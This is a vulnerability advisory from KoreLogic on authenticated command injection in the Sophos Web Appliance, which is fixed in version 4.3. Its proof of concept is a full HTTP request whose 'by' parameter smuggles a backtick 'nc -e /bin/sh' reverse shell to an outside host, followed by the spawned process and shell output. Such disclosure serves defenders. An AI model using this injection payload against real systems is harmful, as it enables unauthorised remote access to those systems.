Sophos Web Appliance Remote Code Execution

Vulnerability Description

An authenticated user of any privilege can execute arbitrary system commands as the non-root webserver user.

Technical Description

Multiple parameters to the web interface are unsafely handled and can be used to run operating system commands, such as:

POST /index.php?c=logs HTTP/1.1
Host: [redacted]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/javascript, text/html, application/xml, text/xml, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
X-Requested-With: XMLHttpRequest
X-Prototype-Version: 1.6.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 305
Connection: close

STYLE=590fca17b230e8cdba0394cfa28ef2eb&period=today&xperiod=&sb_xperiod=xdays&startDate=&txt_time_start=12%3A00%20AM&endDate=&txt_time_end=11%3A59%20PM&txt_filter_user_timeline=test&action=search&by=user_timeline`nc%20-e%20/bin/sh%20[redacted]%209191`&search=test&sort=time&multiplier=1&start=&end=&direction=1

HTTP/1.1 200 OK
Date: Tue, 10 May 2016 15:35:05 GMT
Server: Apache
Cache-Control: no-store, no-cache, must-revalidate, private, post-check=0, pre-check=0
Pragma: no-cache
X-Frame-Options: sameorigin
X-Content-Type-Options: nosniff
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 207

{"lastPage":1,"startTime":"2016\/05\/10 12:00 AM","endTime":"2016\/05\/10 4:35 PM","filter":"test","recordsDisplayed":0,"recordsTotal":0,"data":[],"startDateBeforeData":false,"earliestRecord":"1970\/01\/01"}

—

The vulnerable parameters are: by, request_id, and txt_filter_domain

That request launches the following process on the SWA:

1000     16851  0.0  0.0   2728  1040 ?        S    15:43   0:00 sh -c /opt/perl/bin/salp-generate-report.pl --report=Filter --res=- --type=user_timeline`nc -e /bin/sh [redacted] 9191` --filter='dGVzdA==' --start='2016/05/10' --end='2016/05/10' --action='' --sid=590fca17b230e8cdba0394cfa28ef2eb

From the shell launched via netcat:

id;uname -a;uptime
uid=1000(spiderman) gid=1000(spiderman) groups=1000(spiderman),16(cron),44(tproxyd),45(wdx)
Linux please 3.2.57 #1 SMP Fri Feb 19 18:30:36 UTC 2016 i686 GNU/Linux
15:52:34 up  4:26,  0 users,  load average: 0.11, 0.12, 0.15

Mitigation and Remediation Recommendation

The vendor has issued a fix for this vulnerability in Version 4.3 of SWA. Release notes available at:

http://swa.sophos.com/rn/swa/concepts/ReleaseNotes_4.3.html

Credit

This vulnerability was discovered by Matt Bergin (@thatguylevel) of KoreLogic, Inc.

Proof of Concept

See 3. Technical Description.

The contents of this advisory are copyright(c) 2016 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/

KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at: https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt